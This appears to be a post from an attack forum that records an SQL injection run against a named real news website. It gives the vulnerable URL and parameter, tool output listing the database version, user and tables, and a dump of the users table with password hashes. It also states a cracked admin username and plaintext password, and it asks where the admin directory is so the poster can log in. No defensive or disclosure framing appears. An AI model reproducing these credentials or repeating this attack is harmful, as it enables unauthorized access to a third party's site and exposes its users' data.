[SQLi] http://www.obengware.com

admin username = admin
admin passwd = 15287232

Problem: where is the admin directory?


[+] URL:http://obengware.com/news/index.php?cat_id=&tim=1221955199
[+] Proxy Not Given
[+] Gathering MySQL Server Configuration...
[+] MySQL >= v5.0.0 found!
[+] Showing database version, username@location, and database name!
[+] 21:38:25
[0]: 5.0.32-Debian_7etch6:t31237_news@localhost:t31237_news

[-] 21:52:57
[-] Total URL Requests 388
[-] Done

[+] URL:http://obengware.com/news/index.php?cat_id=&tim=1221955199
[+] Proxy Not Given
[+] Gathering MySQL Server Configuration...
[+] MySQL >= v5.0.0 found!
[+] Showing Tables from database "t31237_news"
[+] 21:41:13
[+] Number of Rows: 18

[0]: articles
[1]: ban_group
[2]: ban_source
[3]: categories
[4]: comments
[5]: newsletter
[6]: poll
[7]: poll_ip
[8]: poll_result
[9]: properties
[10]: rating
[11]: session
[12]: session_detail
[13]: styles
[14]: sub_categories
[15]: topmenu
[16]: users
[17]: visitors

[-] 22:31:01
[-] Total URL Requests 1237
[-] Done


[+] URL:http://obengware.com/news/index.php?cat_id=&tim=1221955199
[+] Proxy Not Given
[+] Gathering MySQL Server Configuration...
[+] MySQL >= v5.0.0 found!
[+] Dumping data from database "t31237_news" Table "users"
[+] Column(s) ['username', 'password', 'root']
[+] 22:55:05
[+] Number of Rows: 2

[0]: admin:fbf21ad480de232810e70a7698e627c6:0
[1]: news:acc27bdc9f7dafd9e2f43945fd692dca:0